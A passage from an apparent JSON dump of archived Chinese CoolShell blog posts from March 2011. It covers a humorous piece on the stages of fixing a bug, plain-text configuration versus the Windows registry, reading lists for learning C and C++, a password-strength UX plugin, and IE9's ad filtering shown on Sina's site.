转给其他人**\n\n\n我调查这个bug中看到了其它模块中我看不懂的数据，问题很大。我应该把这个bug转给开发那个模块的人。我可以在我的模块中检查一下那个边边角角的情况，但是正确的fix应该是在别人的模块中。反正那个在别的国家，我见不着他。\n\n\n第二阶段：接受\n-------\n\n\n本阶段的状态: 认命 Resigned. 被打击 Defeated. 被激怒 Annoyed.\n\n\n**1. 接受现实**\n\n\n行了，行了，行了！这是我的bug，我会修正它的。\n\n\n**2. 把这个bug放到最后**\n\n\n也许，我可以在我需要fix这个bug之前找到一个新的工作。\n\n\n**3. 和你的经理讨价还价**\n\n\n好的，你看，我可以正确地fix这个问题，不过我需要一个月。也就是说，我可以给这个问题贴个创可贴，那不会真正的解决它，但是我们可以避免用户的抱怨，这可以为我们赢得几天的时间。\n\n\n**4. 为这个bug标记一个无耻的时间**\n\n\n上帝啊，我希望这时间够了。\n\n\n第三阶段： 投入和沮丧\n-----------\n\n\n本阶段的状态: 眼花 Giddy. 头晕 Light-headed. 紧张 Nauseous.\n\n\n**1. 开始调查**\n\n\n我能搞定它，我能搞定它！只需要小小的调整一下，小小的关注一下，多一点咖啡因，再加上一点时间，我能搞定它。\n\n\n**2. 迷惘**\n\n\nShit. 这太扯了。我居然没有一点进展。这代码真是乱。这样的代码居然能编译和运行，真TMD的神奇，我有机会能搞清楚它什么不正常吗？\n\n\n**3. 再次躲藏**\n\n\n你看，很对不起。我不得不要去切除我的阑尾。再一次，是的，既然你提到了它，我的确有两个阑尾。现在我一个也没有了，你高兴了吧？。\n\n\n**4. 犯贱**\n\n\n好吧，总之，你到底期望什么？想让我在一个没有高级调试器的环境下改这个BUG。我是什么？千里眼吗？我在我的[Commodore 64](http://en.wikipedia.org/wiki/Commodore_64)上一个更好的调试器！\n\n\n**5. 瞎搞**\n\n\n看看我试试这么改？Kao，这样不行。要不然这样搞？也不行。那么那样搞呢？Shit，居然变得更糟了。\n\n\n**6. 绝望**\n\n\n我不可能fix这个bug了。我是个糟糕的程序员。我太笨了。我在这个满是聪明人的地方干什么？迟早他们会知道我的能力太差，那时我就玩完了，在这也混不下去了。\n\n\n**7.耻辱**\n\n\n我的经理问我为什么我用了一个月的时候来fix这个只需要两天就可以解决的bug？老实说，我不知道怎么去读日志信息，我搞坏了我们的编译脚本。现在，我不敢去让别人来帮我，因为这样只会让我显得更愚蠢。\n\n\n**8. 恐慌！**\n\n\n这事变得比我相像的要复杂！而我开始觉得复杂的事变得简单……而我觉得简单的事变成需要重定半打的类。为什么我以前在我的经理前拍着胸说我可以搞定这个事？\n\n\n**9. 通宵工作，远离朋友和家人**\n\n\n(语无论次的喃喃自语，一阵一阵地大声咒骂)\n\n\n第四个阶段：愚蠢的快感\n-----------\n\n\n本阶段的状态: 感恩 Grateful. 安心 Relieved. 极端地自我欣赏 Awfully Impressed with Yourself.\n\n\n**1. 醒悟** \n\n\n哦！我终于明白怎么搞定它了……\n\n\n**2. 写正确的代码**\n\n\n我真NB，我是编码机器！\n\n\n**3. 测试**\n\n\n牛！通过一个测试。真牛！又通过一个测试了。靠！有测试失败了。这是为什么……\n\n\n**4. 隐藏测试失败**\n\n\n反正这完全是一个不重要的测试案例。没有人会检查它，这个测试真是毫无意义。\n\n\n**5. 提交代码**\n\n\n我太牛了，厨房里有个馅饼可以庆祝一下吗？\n\n\n**6. 关闭 bug.**\n\n\n我听说那里有个馅饼可以庆祝一下\n\n\n第五个阶段： 与“完成”肉搏\n--------------\n\n\n本阶段的状态: 焦燥不安 Twitchy. 神经过敏 Nervous. 迷信 Superstitious.\n\n\n**1. 有人reopen了这个 Bug**\n\n\n真的？他们发现了你引入了另一个bug？ Shit – 那只是一个不重要的案例永远不会发生的。\n\n\n**2. 修正以前的修正**\n\n\n是的，我甚至检查了员工的年龄是一个虚数的情况，就是为了防止出错。\n\n\n**3. 关闭 bug**\n\n\n是的，贱货，你被关闭了。全部都关了，再也不用心烦了。\n\n\n**4. 发誓以后再也不干这种事了**\n\n\n**5. 大家都意识到你现在是那个模块的专家了**\n\n\n哦，不！现在他们又给了我三个那个模块的新bug\n\n\n没关系，现在你只需要GOTO 第一个阶段。\n\n\n此外，作为一个工作中的程序员，你会永远经历这些烂事，直到你——死亡，退休，或是被升到管理层。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [Fix Bug的五个阶段](https://coolshell.cn/articles/4045.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-3-28 纯文本配置还是注册表.md",
    "content": "---\nlayout: post\ntitle: 纯文本配置还是注册表\ndate: 2011/3/28/ 0:42:10\nupdated: 2011/3/28/ 0:42:10\nstatus: publish\npublished: true\ntype: post\n---\n\n我们知道Unix/Linux下的程序配置文件从来都是纯文本的，你可以自由地修改和查看，他们也没有什么什么XML之类的玩意（参看XML的这两篇文章：[一](https://coolshell.cn/articles/2504.html \"信XML，得永生！\")，[二](https://coolshell.cn/articles/3498.html \"信XML，得自信\")），这个最重要的Unix文化（参看[Unix传奇下篇](https://coolshell.cn/articles/2324.html \"Unix传奇(下篇)\")）40多年来就这么沿续下来了。我很佩服Microsoft的创新能力，一会儿用INI，一会儿用注册表，一会又是用XML，这就是[Windows的编程中那“强大”的创新](https://coolshell.cn/articles/3008.html \"Windows编程革命简史\")。在网上又看到有人在争论为什么用注册表而不是纯文本，所以，写下这篇文章。\n\n\n#### 引入注册表所谓的原因\n\n\n首先，让我们来看一下为什么微软觉得要使用注册表而不是ini文件，下面是一些其列出来的ini方面的毛病：\n\n\n* ini文件不支持Unicode\n* ini文件的安全权限不够\n* ini文件在多进程下存取会有问题\n* 如果一个进程锁上了这个文件，另一个进程就无法获得，只能出错。\n* ini文件只能包含字符串，无法使用二进制\n* 解析ini文件相对来说性能比较慢，第一次读写都需要把整个文件读入内存，然后再写回去。\n* ini文件最大只有32K\n* ini文件的默认目录在Windows系统目录下，只能这个目录只能Windows管理员才能访问\n* ini只能包含了两层，对于多层不支持。\n* 把ini文件放在中央服务器上管理很困难。\n\n\n而微软说，注册表可以完美地解决这些问题。居然微软只说到了ini文件，但我觉得不单单是ini，所有的以纯文本方式保存配置文件的方法都会出现上述这样的问题。\n\n\n#### 我的观点\n\n\n那么，当你在看到这些言论时，你是怎么想的？你有没有经过自己的独立思考？还是你觉得注册表完美地解决了所有的一切？下面是我的一些观点：\n\n\n\n* 首先，我们要知道没有任何一件事是完美的，凡事必然有好的一面，也有不好的一面。\n* 其次，当我们在改进一个东西时，不单单要解决其不好的东西，还要把其好的东西给传承下来。\n\n\n所以，当你看到一些只说好或是只说坏的东西时，这往往意味着“宗教”或“洗脑”，这正是需要你独立思考的时候。\n\n\n#### 纯文本配置文件的好处\n\n\n下面，是我觉得纯文本配置文件的好处（我用Unix下的纯文本配置文件来举例）：\n\n\n* 很容易进行版本管理（配置文件和程序代码一样都需要版本控制）\n* 很容易移植到别的平台\n* 很容易自定义文本文件的格式和语法，已也有相关的库支持（ini只支持ANSI字符，只有32K，只支持两级，那是ini的问题，解决这些问题不需要引入注册表）\n* 可以在配置文本中写注释信息\n* 你要很容易的使用grep，awk，sed等等以及来和脚本集成。\n* 你可以很容易地拆分配置文件把其放到conf.d中，这样一来，你就非常灵活\n\t+ 你就不用整个文件都读入内存，\n\t+ 你也可以分别设置上不同的存取权限，\n\t+ 同样可以减小多个进程同时存取的问题\n\t+ 同样可以引用别的二进制配置的文件\n* 你可以很容易地产生备份或是在不同的配置中来回地切换配置文件以进行调试。\n* 你可以很容易地使用rsync来向中央服务器同步你的配置文件。或者使用NFS/NIS直接就把配置放在中央服务器上。\n\n\n#### 真正的原因\n\n\n可见，Windows 的注册表并没有把纯文本配置文件的这些好处都带过来，所以，经过这样的独立思考，我们可以知道，微软引入注册表的真正原因是——\n\n\n* 让你的程序不具移植性，让你的软件永远运行在Windows上。\n* 增加你编程的复杂度和你维护配置文件的复杂度，让你在痛苦之后，苦苦哀求微软再发布下一个“创新”。\n\n\n各位程序员——Windows是很危险的，你们还是回火星去吧。\n\n\n（**全文完，转载时请注明作者和出处**）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg](https://coolshell.cn/articles/4102.html)[如何学好C语言](https://coolshell.cn/articles/4102.html)\n* [![操作系统航空公司](../wp-content/uploads/2009/08/linux_airline-150x150.jpg)](https://coolshell.cn/articles/1272.html)[操作系统航空公司](https://coolshell.cn/articles/1272.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![vfork 挂掉的一个问题](../wp-content/uploads/2014/11/tux-fork-150x150.gif)](https://coolshell.cn/articles/12103.html)[vfork 挂掉的一个问题](https://coolshell.cn/articles/12103.html)\n* [![谜题的答案和活动的心得体会](../wp-content/uploads/2014/08/puzzle-150x150.png)](https://coolshell.cn/articles/11847.html)[谜题的答案和活动的心得体会](https://coolshell.cn/articles/11847.html)\nThe post [纯文本配置还是注册表](https://coolshell.cn/articles/4077.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-3-29 如何学好C语言.md",
    "content": "---\nlayout: post\ntitle: 如何学好C语言\ndate: 2011/3/29/ 2:25:20\nupdated: 2011/3/29/ 2:25:20\nstatus: publish\npublished: true\ntype: post\n---\n\n有人在酷壳的留言版上询问下面的问题\n\n\n\n> [keep\\_walker](https://coolshell.cn/guestbook#comment-40269) **:**  \n> \n> 今天晚上我看到这篇文章。  \n> \n> <http://programmers.stackexchange.com/questions/62502/small-c-projects>\n> \n> \n> 我也遇到了和提问的老外一样的问题。。能给像遇到这样烦恼的程序员一点建议嘛？谢谢！\n> \n> \n\n\n我相信，这可能是很多朋友的问题，我以前也有这样的感觉，编程编到一定的时候，发现能力到了瓶颈，既不深，也不扎实，半吊子。比如：你长期地使用Java和.NET ，这些有虚拟机的语言对于开发便利是便利，但是对于程序员来说可能并不太好，原因有两个：\n\n\n1. 虚拟机屏蔽了操作系统的系统调用，以及很多底层机制。\n2. 大量的封装好的类库也屏蔽了很多实现细节。\n\n\n一段时间后，你会发现你知其然，不知所以然。。我以前在CSDN上写过一篇《**Java NIO类库Selector机制解析（[上](http://blog.csdn.net/haoel/archive/2008/03/27/2224055.aspx)，[下](http://blog.csdn.net/haoel/archive/2008/03/27/2224069.aspx)，[续](http://blog.csdn.net/haoel/archive/2008/05/04/2379586.aspx)）**》，在那篇文章中我说提到过（有讥讽的语气）Java的程序员不懂底层实现，所以很难把技术学得更扎实。此时，一部分程序员会不自然地想学学底层的技术，很自然的，C语言就被提了上来。\n\n\n下面是我给这位朋友的一些建议：\n\n\n\n* **鼓励并为你叫好**。我鼓励你想要去学C语言的想法和精神，很多人都觉得C语言好学，其实并不然。（你可以看看《[C语言的迷题](https://coolshell.cn/articles/945.html)》）现在的这个社会更多地去关注那些时髦的技术，而忽略了这个流行了40+年的C语言。**一门技术如果能够流行40多年，这才是你需要去关注和学习的技术**，而不是那些刚出来的技术（[过度炒作的技术](https://coolshell.cn/articles/3609.html \"那些炒作过度的技术和概念\")，[Windows编程史](https://coolshell.cn/articles/3008.html \"Windows编程革命简史\")）。这才是踏踏实实的精神。\n\n\n* **不要找借口**。这一条路走下来并不容易，不要给自己找借口。我最不喜欢听到的就是“**很忙，没有时间**”这样的借口。我以前在银行做项目，早9点到晚10点，周一到周六，我一样可以每天抽1个小时来看书和专研，一年下来也能精读5、6本书。我现在的工作项目和招聘任务很紧张，刚生的小孩只有自己和老婆两人带，还需要准备讲课，但是我还是能够找到时间看文章写文章维护酷壳。所以，我可以告诉你，“**时间就像乳沟，只要你肯挤，就一定会有**”。\n\n\n* **学好C语言和系统编程**。我认为，学好编程有四个方面：**语言、算法和数据结构、系统调用和设计**。\n\t+ **语言**。我可以告诉你C语言有两大主题你要好好学，一个是内存管理，一个是指针！这个世界上90%以上的C/C++出的严重性错误全是和这两个有关。不要看谭浩强的那本书，那本是本烂书。推荐这本书给你《[C程序设计语言（第2版·新版）](http://product.china-pub.com/14975&ref=browse)》\n\t+ **算法和数据结构**。我认为，用C语言实现算法和数据结构莫过于最爽的事情。推荐你看这本书——[算法:C语言实现(第1～4部分)基础知识、数据结构、排序及搜索(原书第3版)](http://product.china-pub.com/192975&ref=browse)，还有那本经典的《[算法导论](http://product.china-pub.com/31701)》\n\t+ **系统编程**。Windows下推荐两本书——《[Windows 程序设计](http://product.china-pub.com/52880) 》和《[Windows核心编程](http://product.china-pub.com/209058)》，Unix/Linux下推荐两本书——《[Unix高级环境编程](http://product.china-pub.com/30181)》和《[Unix网络编程卷1，套接字](http://product.china-pub.com/196770)》《[Unix网络编程卷2，进程间通信](http://product.china-pub.com/196859)》尤其是《Unix网络编程》这本书，一通百通，无论Windows还是Unix/Linux，都是一样的。\n\t+ **系统设计**。关于设计方面，我全力推荐《[Unix编程艺术](http://product.china-pub.com/197413)》，看完以后，你就明白什么是真正的编程文化了。然后，当你看到Windows的Fans的某些言论时，你就知道什么叫一笑了之了。\n\n\n如果你能在2-3年内精读完这些书，并全部融会贯通，那么你就明白什么是一览众山小的感觉了！我足足花了5年时间才算是真正全部读完这些书的。最后，祝你好运！努力！\n\n\n***——-更新：2011/03/29 20:00——-***\n\n\n我想，这篇文章主要想告诉大家这么几件事：\n\n\n* 编程编到一定时候，你就需要了解底层系统的机制，否则，知其然不知所以然。\n* 我没有否定非C的程序员的逻辑，真正的逻辑是——如果你想要了解底层机制，请学习C语言和操作系统。\n* 40多年的Unix/C影响深远。包括影响了Windows。如果你想一通百通，一定要了解Unix。那是计算机文化真正的根。\n* 不要肤浅地去思考问题。比如，不要以为一个DBA就不会考虑数据库引擎的内存页面的问题。也不要以为Web程序员就不需要了解后台的服务器和脚本的运行性能以及TCP/IP的问题。\n\n\n**高手往往都是有很强的系统的基础知识的，表面的东西永远是肤浅的。**\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/8088.html)[对技术的态度](https://coolshell.cn/articles/8088.html)\n* [![程序员技术练级攻略](../wp-content/uploads/2011/07/programmer-150x150.png)](https://coolshell.cn/articles/4990.html)[程序员技术练级攻略](https://coolshell.cn/articles/4990.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/4758.html)[如何写出无法维护的代码](https://coolshell.cn/articles/4758.html)\n* [![程序员眼中的编程语言](../wp-content/uploads/2009/12/language-fanboys-150x150.jpg)](https://coolshell.cn/articles/1992.html)[程序员眼中的编程语言](https://coolshell.cn/articles/1992.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\nThe post [如何学好C语言](https://coolshell.cn/articles/4102.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-3-3 另类UX让你输入强口令.md",
    "content": "---\nlayout: post\ntitle: 另类UX让你输入强口令\ndate: 2011/3/3/ 1:26:41\nupdated: 2011/3/3/ 1:26:41\nstatus: publish\npublished: true\ntype: post\n---\n\n\n \n\n\n\n昨天和大家说了一下[关于口令破解](https://coolshell.cn/articles/3801.html \"破解你的口令\")的一些东西，那篇文章告诉我们需要设置一个比较强的不易破解的口令。\n\n\n今天在网上看到一个强大的jQuery插件，叫[NakedPassword](http://www.nakedpassword.com/ \"NakedPassword.com\")，其通过“**强大的用户体验**”让你输入一个比较强且不易被破解的口令。虽然有点另类，但是我个人相当欣赏这个UX，因为UX实在是太到位了——**只有你输入的口令比较强，图片中的女人才会脱光衣服**。\n\n\n下面是演示：\n\n\n请输入你的口令（输入时出现效果）\n\n\n\n\n\n\n这个例子和[以前的那个例子](https://coolshell.cn/articles/3142.html \"用户界面和用户体验的差别\")一样，告诉你UX设计是重要性。\n\n\n（全文完）\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![CSDN明文口令泄露的启示](../wp-content/uploads/2011/12/63071edagw1doah4id8l4j-150x150.jpg)](https://coolshell.cn/articles/6193.html)[CSDN明文口令泄露的启示](https://coolshell.cn/articles/6193.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/5353.html)[你会做Web上的用户登录功能吗？](https://coolshell.cn/articles/5353.html)\n* [![破解你的口令](../wp-content/uploads/2011/02/passwords-150x150.png)](https://coolshell.cn/articles/3801.html)[破解你的口令](https://coolshell.cn/articles/3801.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/2451.html)[Twitter的禁用口令](https://coolshell.cn/articles/2451.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/2428.html)[如何管理并设计你的口令](https://coolshell.cn/articles/2428.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg](https://coolshell.cn/articles/2078.html)[如何防范密码被破解](https://coolshell.cn/articles/2078.html)\nThe post [另类UX让你输入强口令](https://coolshell.cn/articles/3877.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-3-3 微软用新浪来当反面教材.md",
    "content": "---\nlayout: post\ntitle: 微软用新浪来当反面教材\ndate: 2011/3/3/ 0:30:49\nupdated: 2011/3/3/ 0:30:49\nstatus: publish\npublished: true\ntype: post\n---\n\n\n微软的[IE的Blog](http://blogs.msdn.com/b/ie/)发布了这样[一篇文章](http://ie.microsoft.com/testdrive/IEBlog/2011/Feb/affc-image1.png)，以此来展示IE9是如何过滤广告和ActiveX控件的功能。其使用了“新浪”来做为反面案例，新浪并不是第一次成为反面案例了，之前就有人用新浪等网站来表明[中国的网站的设计是怎么个烂法](https://coolshell.cn/articles/3605.html \"为什么中国的网页设计那么烂？\")。呵呵。伟大的新浪。\n\n\n下面是新浪的在IE9下没有开启过滤的样子，我们要吧看到满天飞的flash，广告，还有视频……\n\n\n\n\n[http://ie.microsoft.com/testdrive/IEBlog/2011/Feb/affc-image1.png \"新浪网站没有使用IE9的过滤功能\"](http://ie.microsoft.com/testdrive/IEBlog/2011/Feb/affc-image1.png)\n新浪网站没有使用IE9的过滤功能\n\n\n下面是开启了过滤功能后的新浪网页（个人感觉还是那么乱，没办法底子太差了）\n\n\n\n[http://ie.microsoft.com/testdrive/IEBlog/2011/Feb/affc-image2.png \"IE9开启了ActiveX过滤功能后的新浪网页\"](http://ie.microsoft.com/testdrive/IEBlog/2011/Feb/affc-image2.png)IE9开启了ActiveX过滤功能后的新浪网页\n(全文完)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![一次Ajax查错的经历](../wp-content/uploads/2012/08/ajax_error-150x150.jpg)](https://coolshell.cn/articles/8170.html)[一次Ajax查错的经历](https://coolshell.cn/articles/8170.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg](https://coolshell.cn/articles/5247.html)[国内微博和Twitter的最大不同](https://coolshell.cn/articles/5247.html)\n* [![新浪微博的XSS攻击](../wp-content/uploads/2011/06/sina_xss01-150x150.png)](https://coolshell.cn/articles/4914.html)[新浪微博的XSS攻击](https://coolshell.cn/articles/4914.html)\n* [![一些非常有意思的杂项资源](../wp-content/uploads/2010/09/biolab-150x150.jpg)](https://coolshell.cn/articles/3013.html)[一些非常有意思的杂项资源](https://coolshell.cn/articles/3013.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![如何免费的让网站启用HTTPS](../wp-content/uploads/2017/08/enable-https-banner-150x150.png)](https://coolshell.cn/articles/18094.html)[如何免费的让网站启用HTTPS](https://coolshell.cn/articles/18094.html)\nThe post [微软用新浪来当反面教材](https://coolshell.cn/articles/3872.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-3-30 如何学好C++语言.md",
    "content": "---\nlayout: post\ntitle: 如何学好C++语言\ndate: 2011/3/30/ 0:50:17\nupdated: 2011/3/30/ 0:50:17\nstatus: publish\npublished: true\ntype: post\n---\n\n昨天写了一篇[如何学好C语言](https://coolshell.cn/articles/4102.html \"如何学好C语言\")，就有人回复问我如何学好C++，所以，我把我个人的一些学习经验写在这里，希望对大家有用。首先，因为[如何学好C语言](https://coolshell.cn/articles/4102.html \"如何学好C语言\")中谈到了算法和系统，所以这里就只谈C++语言。\n\n\n* **C++是最难的语言**。这个世界上最难的编程语言可能非C++莫属了。你千万不要以为[几天就可以学好C++](https://coolshell.cn/articles/2250.html \"“21天教你学会C++”\")，C++的学习曲线是相当BT的，你可以看看[这篇文章](https://coolshell.cn/articles/2287.html \"C++ 程序员自信心曲线图\")。C++是一门很自由的语言，自由到了有点[BT和恐怖的地步](https://coolshell.cn/articles/1724.html \"恐怖的C++语言\")。我甚至认为C++并不是一门成熟的编程语言，因为太容易犯错了。所以，**你一定要在一开始就要有很小心谨慎的态度，并把C++当成一种难以训服的猛兽来看待**。\n\n\n* **多问“为什么要这样”的问题**。学习C++一定要多问几个“为什么是这样”，“凭什么要这样”的问题。比如：很多人知道C++有拷贝构造函数和初始化列表，但你真的知道为什么要有拷贝构造函数？为什么要有初始化列表吗？为什么要有template，为什么要有RTTI，为什么不是别的呢？难道就是为了让一门语言变得Cool一些吗？完全不是这样的，C++中的任何一个feature都有些实实在在的原因，**你一定要去了解为什么要把C++设计成这样的原因，你才能学好C++**。有空看看《[C++演化和设计](http://product.china-pub.com/5217)》一书。\n\n\n\n* **看书，大量的C++书**。你可以按如下先后顺序阅读（下面这些书，我花了大约4-5年的时间，今天我还在随时温习）\n\t+ 《[C++ Primer](http://product.china-pub.com/28767)》，这本初级读本可能让会你啃得很痛苦，所有的语言的特性和为什么都在里面了，好好读读。当然由C++之父写的《[C++程序设计语言](http://product.china-pub.com/196448)》也不错。两本看一本就好了（我看的是前者）。\n\t+ 了解C++的语法仅仅是万里长征的第一步，你还需要看看《[Effective C++](http://product.china-pub.com/197414)》和《[More Effective C++](http://product.china-pub.com/197665)》这两本书并不厚，但我从02年就一直看到现在，每次读我都有新的体会，这两本书太经典了。如果你对C语言不熟，这两本书会让你回去补C语言的课。\n\t+ [Think in C++](http://product.china-pub.com/4801)同样是另一本经典之极的书，学c++必读，但是中文版的翻译的很不好，所以还是去读英文版的吧。\n\t+ 《[C++沉思录](http://product.china-pub.com/38130&ref=browse)》同样非常值得一读，这里教的不是编程，而是思考的方法，这是相当珍贵的。\n\t+ 《[Exceptional C++](http://product.china-pub.com/33333)》和《[More Exceptional C++](http://product.china-pub.com/197666)》让你看看各种问题的解决方法和一些常见的经典错误。\n\t+ 《[Advanced C++](http://product.china-pub.com/16697)》和《[Modern C++](http://product.china-pub.com/9700)》可以让你知道C++各种神奇的用法。\n\t+ 《[泛型编程与STL](http://product.china-pub.com/9864)》是把C++实践到了极致的东西。很强大。STL——神一样的模板库（容器，算法和函数对象），不得不服。\n\t+ 《[深入探索C++对象模型](http://www.china-pub.com/3290&ref=browse)》让你了解编译器下的C++是什么样的，让你了解C++的性能并不差。这个对于C++的程序员太关键了。我以前写过的《[C++虚函数表解析](https://coolshell.cn/articles/12165.html \"C++ 虚函数表解析\")》还有《[C++对象内存布局](https://coolshell.cn/articles/12176.html \"C++ 对象的内存布局\")》属于这个范畴。\n\n\n* **和Java语言做对比**。我个人以为Java对C++这个并不成熟的语言做了很多调整，规范和限制。所以，对比一下Java和C++，想一想，为什么一些东西在C++中可以做，但在Java中却不行。比如：Java的异常是必需要catch的，不然就会编译不通过。为什么Java不提供操作符重载？为什么Java会引入接口来做多重继承？为什么Java没有像C++那样的I/O字符流？为什么Java不支持指针？为什么Java可以做到垃圾回收？等等。**Java体现着很多面向对象设计的东西，学习Java有助于你学会怎么更好地使用C++来编程**。\n\n\n* **面向对象设计** 。虽然[面向对象可能是个骗局](https://coolshell.cn/articles/3036.html \"面向对象是个骗局？！\")。但是我觉得面向对象设计中的一些实践非常的不错，比如，单一原则，依赖倒置原则，等等，都非常地经典。《[设计模式](http://product.china-pub.com/25961)》必需一读，《[面向对象的分析和设计](http://product.china-pub.com/47106)》可以一读。**但不可以设计模式为中心来编程，而应该是用设计模式来解藕**。\n\n\n* **类库学习**。看看MFC是怎么封装Windows API的，看看ACE是怎么面向对象的，看看boost是怎么玩面向对象的，看看CPPUnit又是怎么设计的。当然，[Java的JDK中有太多的设计模式](https://coolshell.cn/articles/3320.html \"JDK里的设计模式\")，可以参考。\n\n\n希望没有吓到大家，并欢迎大家补充。\n\n\n***—————更新 2011/03/30 19:20————***\n\n\n更新几个观点：\n\n\n* 1）我不擅长写书评，所以推荐的这些书可能会让你有点看点没有感觉，你可以上豆瓣或是China-pub上看看书评。\n* 2）C++有很多奇淫技巧，有的很BT，包括虚函数表，也许会有人觉得有点没意思，但我觉得很有意思，一方面可以了解一门语言的实现细节，另一方面可以开阔思路。我从学习这些知识中受益很多。\n* 3）上述是我的个人的学习历程，我觉得对我很有效，所以是经验之谈。\n* 4）这类的文章在网上有很多很多，我不是第一个写这样的文章，我也不是写得最好的，我并不希望用长篇大论来谈论什么。只是想给大家了解一下大概的学习样子。毕竟，C++博大精深，任何一篇文章都无法说好。不如就简单一些。\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\n* [![C语言的整型溢出问题](../wp-content/uploads/2014/04/c99-150x150.jpg)](https://coolshell.cn/articles/11466.html)[C语言的整型溢出问题](https://coolshell.cn/articles/11466.html)\nThe post [如何学好C++语言](https://coolshell.cn/articles/4119.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-3-4 Google图片搜索下的的C String.md",
